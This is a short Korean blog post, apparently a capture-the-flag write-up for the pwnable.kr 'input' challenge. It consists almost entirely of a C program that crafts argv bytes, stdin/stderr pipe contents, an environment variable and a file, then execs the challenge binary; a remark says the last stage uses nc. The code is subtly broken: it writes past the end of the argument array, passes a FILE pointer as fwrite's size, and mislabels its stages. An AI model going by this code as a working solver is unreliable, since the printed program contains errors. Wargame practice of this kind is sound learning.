9oat's LAB
[Pwnable.kr] input 본문
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #include <stdio.h> #include <unistd.h> void main(){ int i; char *argvs[100]={""}; for(i=0;i<100;i++){ argvs[i]="A"; } argvs[65]="\x00"; argvs[66]="\x20\x0a\x0d"; argvs[67]="8888"; argvs[100]=0; /* for stage1 */ int fd0[2]={}; int fd2[2]={}; pipe(fd0); pipe(fd2); dup2(fd0[0],0); dup2(fd2[0],2); write(fd0[1], "\x00\x0a\x00\xff",4); write(fd2[1], "\x00\x0a\x02\xff",4); /* for stage2 */ putenv( "\xde\xad\xbe\xef=\xca\xfe\xba\xbe"); /* for stage3 */ FILE *f; f=fopen("\x0a","w"); char ip[4]="\x00\x00\x00\x00"; fwrite(ip,f,sizeof(ip),f); fclose(f); /* for stage4 */ execv("/home/input2/input",argvs); } | cs |
stage 5는 nc로..!
'Write Up > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] unlink (0) | 2017.08.27 |
---|---|
[Pwnable.kr] coin1 (0) | 2017.08.03 |
Comments